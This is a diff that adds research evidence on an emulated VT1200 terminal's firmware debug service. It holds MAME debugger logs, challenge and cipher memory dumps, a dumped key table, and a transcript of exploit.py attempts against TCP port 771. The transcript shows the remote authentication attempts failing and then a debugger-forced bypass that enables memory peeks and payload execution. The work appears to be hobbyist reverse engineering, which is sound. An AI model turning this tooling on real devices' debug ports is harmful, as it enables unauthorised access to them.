diff --git a/dwt/evidence/run-branch/debug.log b/dwt/evidence/run-branch/debug.log new file mode 100644 index 0000000..6d8f0e0 --- /dev/null +++ b/dwt/evidence/run-branch/debug.log @@ -0,0 +1,9 @@ +MAME debugger version 0.289 (mame0289-dirty) +Currently targeting vt1200 (VT1200 X terminal (v2.2 firmware)) +Breakpoint 1 set +Breakpoint 2 set +Breakpoint 3 set +REDIRECT from 3F57A0E0 + +GATE-TARGET ACCEPT pc=3F58B430 a7=00000000 + diff --git a/dwt/evidence/run-branch/gate_branch.log b/dwt/evidence/run-branch/gate_branch.log new file mode 100644 index 0000000..6c8d3a4 --- /dev/null +++ b/dwt/evidence/run-branch/gate_branch.log @@ -0,0 +1,23 @@ +Warning: -video none doesn't make much sense without -seconds_to_run +vt1200: screen_update#1 frame=0 clip_y=0..0 screen=1280x901 +vt1200: screen_update#2 frame=0 clip_y=1..900 screen=1280x901 +vt1200: scanline#1 line=1 enabled=1 +vt1200: guard#1 frame=0 dump_frame=-1 dump_ram=-1 +armed gate-target breakpoints at frame 1 +SAMPLE frame 1 word@0xAECD0=0000 field(bits2..3)=0 +vt1200: screen_update#3 frame=1 clip_y=0..0 screen=1280x901 +vt1200: scanline#2 line=0 enabled=1 +vt1200: screen_update#4 frame=1 clip_y=1..1 screen=1280x901 +vt1200: scanline#3 line=1 enabled=1 +vt1200: scanline#4 line=2 enabled=1 +SAMPLE frame 10 word@0xAECD0=0000 field(bits2..3)=0 +SAMPLE frame 50 word@0xAECD0=0000 field(bits2..3)=0 +SAMPLE frame 100 word@0xAECD0=0000 field(bits2..3)=0 +SAMPLE frame 200 word@0xAECD0=0000 field(bits2..3)=0 +SAMPLE frame 300 word@0xAECD0=0000 field(bits2..3)=0 +SAMPLE frame 600 word@0xAECD0=8070 field(bits2..3)=0 +SAMPLE frame 1000 word@0xAECD0=8070 field(bits2..3)=0 +BYTES @bit 0xAEC80 (byte 0x15D90): 00 00 00 00 00 00 64 64 00 80 70 80 05 A0 08 00 +ARM redirect at current pc=3F57A0E0 -> 3F58B280 +--- timed out without hitting a gate target +Average speed: 364.44% (15 seconds) diff --git a/dwt/evidence/run-gate/debug.log b/dwt/evidence/run-gate/debug.log new file mode 100644 index 0000000..7bcded2 --- /dev/null +++ b/dwt/evidence/run-gate/debug.log @@ -0,0 +1,21 @@ +MAME debugger version 0.289 (mame0289-dirty) +Currently targeting vt1200 (VT1200 X terminal (v2.2 firmware)) +Watchpoint 1 set +Breakpoint 1 set +Breakpoint 2 set +Breakpoint 3 set +Breakpoint 4 set +Breakpoint 5 set +Breakpoint 6 set +WP cfg bit=000AECD0 data=0000 pc=3F33E060 + +WP cfg bit=000AECC0 data=8000 pc=3FB446D0 + +WP cfg bit=000AECD0 data=8070 pc=3FB446D0 + +WP cfg bit=000AECE0 data=A005 pc=3FB446D0 + +WP cfg bit=000AECF0 data=0008 pc=3FB446D0 + +WP cfg bit=000AECD0 data=8070 pc=3F33E100 + diff --git a/dwt/evidence/run-gate/gate_probe.log b/dwt/evidence/run-gate/gate_probe.log new file mode 100644 index 0000000..3fb956b --- /dev/null +++ b/dwt/evidence/run-gate/gate_probe.log @@ -0,0 +1,18 @@ +Warning: -video none doesn't make much sense without -seconds_to_run +vt1200: screen_update#1 frame=0 clip_y=0..0 screen=1280x901 +vt1200: screen_update#2 frame=0 clip_y=1..900 screen=1280x901 +vt1200: scanline#1 line=1 enabled=1 +vt1200: guard#1 frame=0 dump_frame=-1 dump_ram=-1 +SAMPLE frame 1 @0xAECD0=0000 @0xAECD2=0000 pc=3FB44E00 +vt1200: screen_update#3 frame=1 clip_y=0..0 screen=1280x901 +vt1200: scanline#2 line=0 enabled=1 +vt1200: screen_update#4 frame=1 clip_y=1..1 screen=1280x901 +vt1200: scanline#3 line=1 enabled=1 +vt1200: scanline#4 line=2 enabled=1 +SAMPLE frame 10 @0xAECD0=0000 @0xAECD2=0000 pc=3F7056B0 +SAMPLE frame 50 @0xAECD0=0000 @0xAECD2=0000 pc=3F7056E0 +SAMPLE frame 100 @0xAECD0=0000 @0xAECD2=0000 pc=3FB44B00 +SAMPLE frame 200 @0xAECD0=0000 @0xAECD2=0000 pc=3F579870 +SAMPLE frame 600 @0xAECD0=8070 @0xAECD2=8070 pc=3F7EFA50 +--- done at frame 700 +Average speed: 335.91% (9 seconds) diff --git a/dwt/evidence/run-live/chal_sent.bin b/dwt/evidence/run-live/chal_sent.bin new file mode 100644 index 0000000..046671b --- /dev/null +++ b/dwt/evidence/run-live/chal_sent.bin @@ -0,0 +1 @@ +007AE7B0: FEFF 7DA2 0200 6CA2 6302 C0A8 FEFF ...}...l.c.... diff --git a/dwt/evidence/run-live/cipher_in.bin b/dwt/evidence/run-live/cipher_in.bin new file mode 100644 index 0000000..fdb6917 --- /dev/null +++ b/dwt/evidence/run-live/cipher_in.bin @@ -0,0 +1 @@ +007AE9D0: D574 1487 624E C5E0 E9D0 007A 0000 t...Nb....z... diff --git a/dwt/evidence/run-live/cipher_out.bin b/dwt/evidence/run-live/cipher_out.bin new file mode 100644 index 0000000..c98f9bf --- /dev/null +++ b/dwt/evidence/run-live/cipher_out.bin @@ -0,0 +1 @@ +007AE9D0: E5C5 2C9E 710A A902 710A A902 02A9 ...,.q...q.... diff --git a/dwt/evidence/run-live/cmp_a11.bin b/dwt/evidence/run-live/cmp_a11.bin new file mode 100644 index 0000000..464a6db --- /dev/null +++ b/dwt/evidence/run-live/cmp_a11.bin @@ -0,0 +1 @@ +007AE830: D574 1487 624E C5E0 E5C5 2C9E 710A t...Nb.....,.q diff --git a/dwt/evidence/run-live/cmp_a9.bin b/dwt/evidence/run-live/cmp_a9.bin new file mode 100644 index 0000000..0ee33ec --- /dev/null +++ b/dwt/evidence/run-live/cmp_a9.bin @@ -0,0 +1 @@ +007AE8B0: A27D FFFE A26C 0002 A8C0 0263 A27E }...l.....c.~. diff --git a/dwt/evidence/run-live/debug.log b/dwt/evidence/run-live/debug.log new file mode 100644 index 0000000..d7a9b8b --- /dev/null +++ b/dwt/evidence/run-live/debug.log @@ -0,0 +1,467 @@ +MAME debugger version 0.289 (mame0289-dirty) +Currently targeting vt1200 (VT1200 X terminal (v2.2 firmware)) +Breakpoint 1 set +Breakpoint 2 set +Breakpoint 3 set +Breakpoint 4 set +Breakpoint 5 set +Breakpoint 6 set +Breakpoint 7 set +Breakpoint 8 set +Breakpoint 9 set +Breakpoint A set +Breakpoint B set +LIVE accept_debug_conn entry pc=3F58AD60 + +LIVE dispatcher entry pc=3F59F320 + +LIVE dwt_prf challenge entry pc=3F59FDC0 + +LIVE challenge sent a13=007AE7B0 + +Data dumped successfully +LIVE pre-transform a13=007AE7B0 reply=C00001A5 + +Data dumped successfully +LIVE cipher-in a13=007AE9D0 keyptr=007CB2D0 sboxptr=007C7290 + +Data dumped successfully +Data dumped successfully +Data dumped successfully +LIVE cipher-out a13=007AE9D0 keyptr=007CB2D0 + +Data dumped successfully +LIVE cipher-in a13=007AE9D0 keyptr=007CB2D0 sboxptr=007C7290 + +Data dumped successfully +Data dumped successfully +Data dumped successfully +LIVE cipher-out a13=007AE9D0 keyptr=007CB2D0 + +Data dumped successfully +LIVE memcmp-args a9=007AE8B0 a11=007AE830 + +Data dumped successfully +Data dumped successfully +LIVE challenge memcmp FORCED a8=00000001 -> 0 + +LIVE accept_debug_conn entry pc=3F58AD60 + +LIVE dispatcher entry pc=3F59F320 + +LIVE dwt_prf challenge entry pc=3F59FDC0 + +LIVE challenge sent a13=007AE7B0 + +Data dumped successfully +LIVE pre-transform a13=007AE7B0 reply=C00001A6 + +Data dumped successfully +LIVE cipher-in a13=007AE9D0 keyptr=007CB2D0 sboxptr=007C7290 + +Data dumped successfully +Data dumped successfully +Data dumped successfully +LIVE cipher-out a13=007AE9D0 keyptr=007CB2D0 + +Data dumped successfully +LIVE cipher-in a13=007AE9D0 keyptr=007CB2D0 sboxptr=007C7290 + +Data dumped successfully +Data dumped successfully +Data dumped successfully +LIVE cipher-out a13=007AE9D0 keyptr=007CB2D0 + +Data dumped successfully +LIVE memcmp-args a9=007AE8B0 a11=007AE830 + +Data dumped successfully +Data dumped successfully +LIVE challenge memcmp FORCED a8=FFFFFFFF -> 0 + +LIVE accept_debug_conn entry pc=3F58AD60 + +LIVE dispatcher entry pc=3F59F320 + +LIVE dwt_prf challenge entry pc=3F59FDC0 + +LIVE challenge sent a13=007AE7B0 + +Data dumped successfully +LIVE pre-transform a13=007AE7B0 reply=C00001A7 + +Data dumped successfully +LIVE cipher-in a13=007AE9D0 keyptr=007CB2D0 sboxptr=007C7290 + +Data dumped successfully +Data dumped successfully +Data dumped successfully +LIVE cipher-out a13=007AE9D0 keyptr=007CB2D0 + +Data dumped successfully +LIVE cipher-in a13=007AE9D0 keyptr=007CB2D0 sboxptr=007C7290 + +Data dumped successfully +Data dumped successfully +Data dumped successfully +LIVE cipher-out a13=007AE9D0 keyptr=007CB2D0 + +Data dumped successfully +LIVE memcmp-args a9=007AE8B0 a11=007AE830 + +Data dumped successfully +Data dumped successfully +LIVE challenge memcmp FORCED a8=00000001 -> 0 + +LIVE rdebug_poke entry pc=3F5A1B50 + +LIVE accept_debug_conn entry pc=3F58AD60 + +LIVE dispatcher entry pc=3F59F320 + +LIVE dwt_prf challenge entry pc=3F59FDC0 + +LIVE challenge sent a13=007AE7B0 + +Data dumped successfully +LIVE pre-transform a13=007AE7B0 reply=C00001A8 + +Data dumped successfully +LIVE cipher-in a13=007AE9D0 keyptr=007CB2D0 sboxptr=007C7290 + +Data dumped successfully +Data dumped successfully +Data dumped successfully +LIVE cipher-out a13=007AE9D0 keyptr=007CB2D0 + +Data dumped successfully +LIVE cipher-in a13=007AE9D0 keyptr=007CB2D0 sboxptr=007C7290 + +Data dumped successfully +Data dumped successfully +Data dumped successfully +LIVE cipher-out a13=007AE9D0 keyptr=007CB2D0 + +Data dumped successfully +LIVE memcmp-args a9=007AE8B0 a11=007AE830 + +Data dumped successfully +Data dumped successfully +LIVE challenge memcmp FORCED a8=00000001 -> 0 + +LIVE accept_debug_conn entry pc=3F58AD60 + +LIVE dispatcher entry pc=3F59F320 + +LIVE dwt_prf challenge entry pc=3F59FDC0 + +LIVE challenge sent a13=007AE7B0 + +Data dumped successfully +LIVE pre-transform a13=007AE7B0 reply=C00001A9 + +Data dumped successfully +LIVE cipher-in a13=007AE9D0 keyptr=007CB2D0 sboxptr=007C7290 + +Data dumped successfully +Data dumped successfully +Data dumped successfully +LIVE cipher-out a13=007AE9D0 keyptr=007CB2D0 + +Data dumped successfully +LIVE cipher-in a13=007AE9D0 keyptr=007CB2D0 sboxptr=007C7290 + +Data dumped successfully +Data dumped successfully +Data dumped successfully +LIVE cipher-out a13=007AE9D0 keyptr=007CB2D0 + +Data dumped successfully +LIVE memcmp-args a9=007AE8B0 a11=007AE830 + +Data dumped successfully +Data dumped successfully +LIVE challenge memcmp FORCED a8=00000001 -> 0 + +LIVE rdebug_poke entry pc=3F5A1B50 + +LIVE accept_debug_conn entry pc=3F58AD60 + +LIVE dispatcher entry pc=3F59F320 + +LIVE dwt_prf challenge entry pc=3F59FDC0 + +LIVE challenge sent a13=007AE7B0 + +Data dumped successfully +LIVE pre-transform a13=007AE7B0 reply=C00001AA + +Data dumped successfully +LIVE cipher-in a13=007AE9D0 keyptr=007CB2D0 sboxptr=007C7290 + +Data dumped successfully +Data dumped successfully +Data dumped successfully +LIVE cipher-out a13=007AE9D0 keyptr=007CB2D0 + +Data dumped successfully +LIVE cipher-in a13=007AE9D0 keyptr=007CB2D0 sboxptr=007C7290 + +Data dumped successfully +Data dumped successfully +Data dumped successfully +LIVE cipher-out a13=007AE9D0 keyptr=007CB2D0 + +Data dumped successfully +LIVE memcmp-args a9=007AE8B0 a11=007AE830 + +Data dumped successfully +Data dumped successfully +LIVE challenge memcmp FORCED a8=FFFFFFFF -> 0 + +LIVE accept_debug_conn entry pc=3F58AD60 + +LIVE dispatcher entry pc=3F59F320 + +LIVE dwt_prf challenge entry pc=3F59FDC0 + +LIVE challenge sent a13=007AE7B0 + +Data dumped successfully +LIVE pre-transform a13=007AE7B0 reply=C0000251 + +Data dumped successfully +LIVE cipher-in a13=007AE9D0 keyptr=007CB2D0 sboxptr=007C7290 + +Data dumped successfully +Data dumped successfully +Data dumped successfully +LIVE cipher-out a13=007AE9D0 keyptr=007CB2D0 + +Data dumped successfully +LIVE cipher-in a13=007AE9D0 keyptr=007CB2D0 sboxptr=007C7290 + +Data dumped successfully +Data dumped successfully +Data dumped successfully +LIVE cipher-out a13=007AE9D0 keyptr=007CB2D0 + +Data dumped successfully +LIVE memcmp-args a9=007AE8B0 a11=007AE830 + +Data dumped successfully +Data dumped successfully +LIVE challenge memcmp FORCED a8=FFFFFFFF -> 0 + +LIVE accept_debug_conn entry pc=3F58AD60 + +LIVE dispatcher entry pc=3F59F320 + +LIVE dwt_prf challenge entry pc=3F59FDC0 + +LIVE challenge sent a13=007AE7B0 + +Data dumped successfully +LIVE pre-transform a13=007AE7B0 reply=C0000254 + +Data dumped successfully +LIVE cipher-in a13=007AE9D0 keyptr=007CB2D0 sboxptr=007C7290 + +Data dumped successfully +Data dumped successfully +Data dumped successfully +LIVE cipher-out a13=007AE9D0 keyptr=007CB2D0 + +Data dumped successfully +LIVE cipher-in a13=007AE9D0 keyptr=007CB2D0 sboxptr=007C7290 + +Data dumped successfully +Data dumped successfully +Data dumped successfully +LIVE cipher-out a13=007AE9D0 keyptr=007CB2D0 + +Data dumped successfully +LIVE memcmp-args a9=007AE8B0 a11=007AE830 + +Data dumped successfully +Data dumped successfully +LIVE challenge memcmp FORCED a8=FFFFFFFF -> 0 + +LIVE rdebug_poke entry pc=3F5A1B50 + +LIVE accept_debug_conn entry pc=3F58AD60 + +LIVE dispatcher entry pc=3F59F320 + +LIVE dwt_prf challenge entry pc=3F59FDC0 + +LIVE challenge sent a13=007AE7B0 + +Data dumped successfully +LIVE pre-transform a13=007AE7B0 reply=C0000257 + +Data dumped successfully +LIVE cipher-in a13=007AE9D0 keyptr=007CB2D0 sboxptr=007C7290 + +Data dumped successfully +Data dumped successfully +Data dumped successfully +LIVE cipher-out a13=007AE9D0 keyptr=007CB2D0 + +Data dumped successfully +LIVE cipher-in a13=007AE9D0 keyptr=007CB2D0 sboxptr=007C7290 + +Data dumped successfully +Data dumped successfully +Data dumped successfully +LIVE cipher-out a13=007AE9D0 keyptr=007CB2D0 + +Data dumped successfully +LIVE memcmp-args a9=007AE8B0 a11=007AE830 + +Data dumped successfully +Data dumped successfully +LIVE challenge memcmp FORCED a8=FFFFFFFF -> 0 + +LIVE accept_debug_conn entry pc=3F58AD60 + +LIVE dispatcher entry pc=3F59F320 + +LIVE dwt_prf challenge entry pc=3F59FDC0 + +LIVE challenge sent a13=007AE7B0 + +Data dumped successfully +LIVE pre-transform a13=007AE7B0 reply=C000025A + +Data dumped successfully +LIVE cipher-in a13=007AE9D0 keyptr=007CB2D0 sboxptr=007C7290 + +Data dumped successfully +Data dumped successfully +Data dumped successfully +LIVE cipher-out a13=007AE9D0 keyptr=007CB2D0 + +Data dumped successfully +LIVE cipher-in a13=007AE9D0 keyptr=007CB2D0 sboxptr=007C7290 + +Data dumped successfully +Data dumped successfully +Data dumped successfully +LIVE cipher-out a13=007AE9D0 keyptr=007CB2D0 + +Data dumped successfully +LIVE memcmp-args a9=007AE8B0 a11=007AE830 + +Data dumped successfully +Data dumped successfully +LIVE challenge memcmp FORCED a8=FFFFFFFF -> 0 + +LIVE rdebug_poke entry pc=3F5A1B50 + +LIVE accept_debug_conn entry pc=3F58AD60 + +LIVE dispatcher entry pc=3F59F320 + +LIVE dwt_prf challenge entry pc=3F59FDC0 + +LIVE challenge sent a13=007AE7B0 + +Data dumped successfully +LIVE pre-transform a13=007AE7B0 reply=C000025C + +Data dumped successfully +LIVE cipher-in a13=007AE9D0 keyptr=007CB2D0 sboxptr=007C7290 + +Data dumped successfully +Data dumped successfully +Data dumped successfully +LIVE cipher-out a13=007AE9D0 keyptr=007CB2D0 + +Data dumped successfully +LIVE cipher-in a13=007AE9D0 keyptr=007CB2D0 sboxptr=007C7290 + +Data dumped successfully +Data dumped successfully +Data dumped successfully +LIVE cipher-out a13=007AE9D0 keyptr=007CB2D0 + +Data dumped successfully +LIVE memcmp-args a9=007AE8B0 a11=007AE830 + +Data dumped successfully +Data dumped successfully +LIVE challenge memcmp FORCED a8=FFFFFFFF -> 0 + +LIVE accept_debug_conn entry pc=3F58AD60 + +LIVE dispatcher entry pc=3F59F320 + +LIVE dwt_prf challenge entry pc=3F59FDC0 + +LIVE challenge sent a13=007AE7B0 + +Data dumped successfully +LIVE pre-transform a13=007AE7B0 reply=C000029E + +Data dumped successfully +LIVE cipher-in a13=007AE9D0 keyptr=007CB2D0 sboxptr=007C7290 + +Data dumped successfully +Data dumped successfully +Data dumped successfully +LIVE cipher-out a13=007AE9D0 keyptr=007CB2D0 + +Data dumped successfully +LIVE cipher-in a13=007AE9D0 keyptr=007CB2D0 sboxptr=007C7290 + +Data dumped successfully +Data dumped successfully +Data dumped successfully +LIVE cipher-out a13=007AE9D0 keyptr=007CB2D0 + +Data dumped successfully +LIVE memcmp-args a9=007AE8B0 a11=007AE830 + +Data dumped successfully +Data dumped successfully +LIVE challenge memcmp FORCED a8=00000001 -> 0 + +LIVE rdebug_poke entry pc=3F5A1B50 + +LIVE accept_debug_conn entry pc=3F58AD60 + +LIVE dispatcher entry pc=3F59F320 + +LIVE dwt_prf challenge entry pc=3F59FDC0 + +LIVE challenge sent a13=007AE7B0 + +Data dumped successfully +LIVE pre-transform a13=007AE7B0 reply=C00002A2 + +Data dumped successfully +LIVE cipher-in a13=007AE9D0 keyptr=007CB2D0 sboxptr=007C7290 + +Data dumped successfully +Data dumped successfully +Data dumped successfully +LIVE cipher-out a13=007AE9D0 keyptr=007CB2D0 + +Data dumped successfully +LIVE cipher-in a13=007AE9D0 keyptr=007CB2D0 sboxptr=007C7290 + +Data dumped successfully +Data dumped successfully +Data dumped successfully +LIVE cipher-out a13=007AE9D0 keyptr=007CB2D0 + +Data dumped successfully +LIVE memcmp-args a9=007AE8B0 a11=007AE830 + +Data dumped successfully +Data dumped successfully +LIVE challenge memcmp FORCED a8=00000001 -> 0 + +LIVE rdebug_jump entry pc=3F5A3890 + diff --git a/dwt/evidence/run-live/key.bin b/dwt/evidence/run-live/key.bin new file mode 100644 index 0000000..b80c391 --- /dev/null +++ b/dwt/evidence/run-live/key.bin @@ -0,0 +1,5 @@ +007CB2D0: 3E2C 021F 3001 0D08 232D 1F28 0008 1219 ,>...0..-#(..... +007CB350: 330B 2039 1A17 0600 2732 3C33 0409 0813 .39 ....2'3<.... +007CB3D0: 0E37 181D 0B02 0701 2D11 2B3C 2C29 2012 7........-<+),. +007CB450: 3B3A 0725 0002 033D 1E0A 0B3B 2C27 1000 :;%...=...;.',.. +007CB4D0: 113B 1C0B 1020 2E21 2D05 2C2B ;... .!..-+, diff --git a/dwt/evidence/run-live/mame.log b/dwt/evidence/run-live/mame.log new file mode 100644 index 0000000..ba71a6a --- /dev/null +++ b/dwt/evidence/run-live/mame.log @@ -0,0 +1,35 @@ +vt1200: screen_update#1 frame=0 clip_y=0..0 screen=1280x901 +vt1200: screen_update#2 frame=0 clip_y=1..900 screen=1280x901 +vt1200: scanline#1 line=1 enabled=1 +vt1200: guard#1 frame=0 dump_frame=-1 dump_ram=-1 +LIVE armed emulator-side breakpoints +vt1200: screen_update#3 frame=1 clip_y=0..0 screen=1280x901 +vt1200: scanline#2 line=0 enabled=1 +vt1200: screen_update#4 frame=1 clip_y=1..1 screen=1280x901 +vt1200: scanline#3 line=1 enabled=1 +vt1200: scanline#4 line=2 enabled=1 +LIVE frame 500 word@0xAECD0=8070 field2..3=0 +LIVE frame 1000 word@0xAECD0=8070 field2..3=0 +LIVE frame 1500 word@0xAECD0=8070 field2..3=0 +LIVE frame 2000 word@0xAECD0=8070 field2..3=0 +LIVE frame 2500 word@0xAECD0=8070 field2..3=0 +LIVE frame 3000 word@0xAECD0=8070 field2..3=0 +LIVE frame 3500 word@0xAECD0=8070 field2..3=0 +LIVE frame 4000 word@0xAECD0=8070 field2..3=0 +LIVE frame 4500 word@0xAECD0=8070 field2..3=0 +LIVE frame 5000 word@0xAECD0=8070 field2..3=0 +LIVE frame 5500 word@0xAECD0=8070 field2..3=0 +LIVE frame 6000 word@0xAECD0=8070 field2..3=0 +LIVE frame 6500 word@0xAECD0=8070 field2..3=0 +LIVE frame 7000 word@0xAECD0=8070 field2..3=0 +LIVE frame 7500 word@0xAECD0=8070 field2..3=0 +LIVE frame 8000 word@0xAECD0=8070 field2..3=0 +LIVE frame 8500 word@0xAECD0=8070 field2..3=0 +LIVE frame 9000 word@0xAECD0=8070 field2..3=0 +LIVE frame 9500 word@0xAECD0=8070 field2..3=0 +LIVE frame 10000 word@0xAECD0=8070 field2..3=0 +LIVE payload-ran: MAGIC1=DEAD MAGIC2=BEEF COUNT=0400 +LIVE payload-ran: VRAM block 1024/1024 words FFFF, 0 holes +LIVE snapshot failed: .../code/k-space/vt1200/dwt/evidence/scripts/live_probe.lua:69: attempt to index a nil value (field 'integer index') +LIVE exiting at frame 10401 (payload seen at 10281) +Average speed: 323.56% (144 seconds) diff --git a/dwt/evidence/run-live/oracle/ff.reply.txt b/dwt/evidence/run-live/oracle/ff.reply.txt new file mode 100644 index 0000000..5c5024f --- /dev/null +++ b/dwt/evidence/run-live/oracle/ff.reply.txt @@ -0,0 +1 @@ +007AE830: 816A 0B04 29F2 7944 816A 0B04 29F2 j....)Dyj....) diff --git a/dwt/evidence/run-live/oracle/ff.sent.txt b/dwt/evidence/run-live/oracle/ff.sent.txt new file mode 100644 index 0000000..8c2e4de --- /dev/null +++ b/dwt/evidence/run-live/oracle/ff.sent.txt @@ -0,0 +1 @@ +007AE7B0: 7EFB A1FE 0200 EEFD 6302 C0A8 76FB .~.......c...v diff --git a/dwt/evidence/run-live/oracle/ones.reply.txt b/dwt/evidence/run-live/oracle/ones.reply.txt new file mode 100644 index 0000000..1edd488 --- /dev/null +++ b/dwt/evidence/run-live/oracle/ones.reply.txt @@ -0,0 +1 @@ +007AE830: BF8E 3606 D768 7610 BF8E 3606 D768 ...6h..v...6h. diff --git a/dwt/evidence/run-live/oracle/ones.sent.txt b/dwt/evidence/run-live/oracle/ones.sent.txt new file mode 100644 index 0000000..c304aa4 --- /dev/null +++ b/dwt/evidence/run-live/oracle/ones.sent.txt @@ -0,0 +1 @@ +007AE7B0: 9EEB 9DDE 0200 EEDB 6302 C0A8 96EB .........c.... diff --git a/dwt/evidence/run-live/oracle/ramp.reply.txt b/dwt/evidence/run-live/oracle/ramp.reply.txt new file mode 100644 index 0000000..bc4d051 --- /dev/null +++ b/dwt/evidence/run-live/oracle/ramp.reply.txt @@ -0,0 +1 @@ +007AE830: 331F 9C08 7E43 46C8 E477 B6FD AA6E .3..C~.Fw...n. diff --git a/dwt/evidence/run-live/oracle/ramp.sent.txt b/dwt/evidence/run-live/oracle/ramp.sent.txt new file mode 100644 index 0000000..6abfaf4 --- /dev/null +++ b/dwt/evidence/run-live/oracle/ramp.sent.txt @@ -0,0 +1 @@ +007AE7B0: EEF0 E2EE 0200 DDEC 6302 C0A8 E6F0 .........c.... diff --git a/dwt/evidence/run-live/oracle/zero.reply.txt b/dwt/evidence/run-live/oracle/zero.reply.txt new file mode 100644 index 0000000..cd68c20 --- /dev/null +++ b/dwt/evidence/run-live/oracle/zero.reply.txt @@ -0,0 +1 @@ +007AE830: DE90 B409 8572 1758 DE90 B409 8572 ....r.X.....r. diff --git a/dwt/evidence/run-live/oracle/zero.sent.txt b/dwt/evidence/run-live/oracle/zero.sent.txt new file mode 100644 index 0000000..13e0c2d --- /dev/null +++ b/dwt/evidence/run-live/oracle/zero.sent.txt @@ -0,0 +1 @@ +007AE7B0: E6EA 2BBD 0200 65BA 6302 C0A8 DEEA ...+...e.c.... diff --git a/dwt/evidence/run-live/oracle/zero2.reply.txt b/dwt/evidence/run-live/oracle/zero2.reply.txt new file mode 100644 index 0000000..cd68c20 --- /dev/null +++ b/dwt/evidence/run-live/oracle/zero2.reply.txt @@ -0,0 +1 @@ +007AE830: DE90 B409 8572 1758 DE90 B409 8572 ....r.X.....r. diff --git a/dwt/evidence/run-live/oracle/zero2.sent.txt b/dwt/evidence/run-live/oracle/zero2.sent.txt new file mode 100644 index 0000000..dc51a78 --- /dev/null +++ b/dwt/evidence/run-live/oracle/zero2.sent.txt @@ -0,0 +1 @@ +007AE7B0: 0EE5 A2CE 0200 21CB 6302 C0A8 06E5 .......!.c.... diff --git a/dwt/evidence/run-live/oracle2/11.in.txt b/dwt/evidence/run-live/oracle2/11.in.txt new file mode 100644 index 0000000..8b225bc --- /dev/null +++ b/dwt/evidence/run-live/oracle2/11.in.txt @@ -0,0 +1 @@ +007AE9D0: BF8E 3606 D768 7610 E9D0 007A 0000 ...6h..v..z... diff --git a/dwt/evidence/run-live/oracle2/11.out.txt b/dwt/evidence/run-live/oracle2/11.out.txt new file mode 100644 index 0000000..7f26dcd --- /dev/null +++ b/dwt/evidence/run-live/oracle2/11.out.txt @@ -0,0 +1 @@ +007AE9D0: BF8E 3606 D768 7610 D768 7610 1076 ...6h..vh..vv. diff --git a/dwt/evidence/run-live/oracle2/55.in.txt b/dwt/evidence/run-live/oracle2/55.in.txt new file mode 100644 index 0000000..276d073 --- /dev/null +++ b/dwt/evidence/run-live/oracle2/55.in.txt @@ -0,0 +1 @@ +007AE9D0: 7E3A F1B7 E5A1 13F4 E9D0 007A 0000 :~........z... diff --git a/dwt/evidence/run-live/oracle2/55.out.txt b/dwt/evidence/run-live/oracle2/55.out.txt new file mode 100644 index 0000000..c3a210c --- /dev/null +++ b/dwt/evidence/run-live/oracle2/55.out.txt @@ -0,0 +1 @@ +007AE9D0: 7E3A F1B7 E5A1 13F4 E5A1 13F4 F413 :~............ diff --git a/dwt/evidence/run-live/oracle2/aa.in.txt b/dwt/evidence/run-live/oracle2/aa.in.txt new file mode 100644 index 0000000..dca72eb --- /dev/null +++ b/dwt/evidence/run-live/oracle2/aa.in.txt @@ -0,0 +1 @@ +007AE9D0: 2717 464F 5699 49B3 E9D0 007A 0000 .'OF.V.I..z... diff --git a/dwt/evidence/run-live/oracle2/aa.out.txt b/dwt/evidence/run-live/oracle2/aa.out.txt new file mode 100644 index 0000000..03f6cac --- /dev/null +++ b/dwt/evidence/run-live/oracle2/aa.out.txt @@ -0,0 +1 @@ +007AE9D0: 2717 464F 5699 49B3 5699 49B3 B349 .'OF.V.I.V.II. diff --git a/dwt/evidence/run-live/oracle2/ff.in.txt b/dwt/evidence/run-live/oracle2/ff.in.txt new file mode 100644 index 0000000..b55c034 --- /dev/null +++ b/dwt/evidence/run-live/oracle2/ff.in.txt @@ -0,0 +1 @@ +007AE9D0: 816A 0B04 29F2 7944 E9D0 007A 0000 j....)Dy..z... diff --git a/dwt/evidence/run-live/oracle2/ff.out.txt b/dwt/evidence/run-live/oracle2/ff.out.txt new file mode 100644 index 0000000..9c44160 --- /dev/null +++ b/dwt/evidence/run-live/oracle2/ff.out.txt @@ -0,0 +1 @@ +007AE9D0: 816A 0B04 29F2 7944 29F2 7944 4479 j....)Dy.)DyyD diff --git a/dwt/evidence/run-live/remote-attempt.txt b/dwt/evidence/run-live/remote-attempt.txt new file mode 100644 index 0000000..5f04439 --- /dev/null +++ b/dwt/evidence/run-live/remote-attempt.txt @@ -0,0 +1,84 @@ +Live TCP attempt against the stock firmware — transcript +========================================================= + +Host: 192.168.99.2 (VT1200, Ethernet 08:00:2b:16:4b:5a), MAME vt1200 with the +LANCE on tap-mess-1000-0 / bridge vt1200, VT1200_SKIP_LEVEL1=1, fresh nvram. +Service: "DEBUG TCP Port", port 771. + +--- 1. Liveness + echo challenge (remote; gate A passes, gate B fails) --- + +$ python3 dwt/exploit.py --host 192.168.99.2 --opcode 7 --verbose +[.] connected to 192.168.99.2:771 +[>] 00 00 00 07 +[<] len=17 flag=0x7f payload=f3 2c ec 8d 00 00 ea d0 02 63 a8 c0 f3 24 ec 8e +[.] answering echo challenge with f3 2c ec 8d 00 00 ea d0 02 63 a8 c0 f3 24 ec 8e +[>] f3 2c ec 8d 00 00 ea d0 02 63 a8 c0 f3 24 ec 8e +error: connection closed after 0/4 bytes + +emulator side (dwt/evidence/run-live/debug.log): +LIVE accept_debug_conn entry pc=3F58AD60 +LIVE dispatcher entry pc=3F59F320 +LIVE dwt_prf challenge entry pc=3F59FDC0 +LIVE challenge memcmp a8=FFFFFFFF (0=equal) + +=> echo FAILS; the session is killed. + +--- 2. Word-swapped challenge (computed) --- + +$ python3 dwt/exploit.py --host 192.168.99.2 --opcode 7 --challenge computed --verbose +[<] len=17 flag=0x7f payload=ea 06 25 ac 00 02 22 ca 02 63 a8 c0 e9 fe 25 ad +[.] answering computed challenge with ac 25 06 ea ca 22 02 00 c0 a8 63 02 ad 25 fe e9 +[>] ... +error: connection closed after 0/4 bytes + +emulator side: +LIVE challenge memcmp a8=00000001 (0=equal) + +=> byte order fixed, but the firmware's in-place transform still differs. + +--- 3. Debugger-assisted loader proof (challenge comparison forced to 0) --- + +The live_probe.lua breakpoint at 0x3F5A0920 executes `a8 = 0` before resuming. +This is NOT a remote bypass. + +$ python3 dwt/exploit.py --host 192.168.99.2 --opcode 7 +opcode 7 -> flag=0x00 payload=44 6f 6e 65 0a 00 (b'Done\n\x00') + +$ python3 dwt/exploit.py --host 192.168.99.2 --peek 0x3F200000 --len 8 +peek 0x3f200000 (8) -> e9 7a e2 f5 aa aa 55 55 + (== first 8 bytes of vt1200_v22.bin; the address is a BIT address) + +$ python3 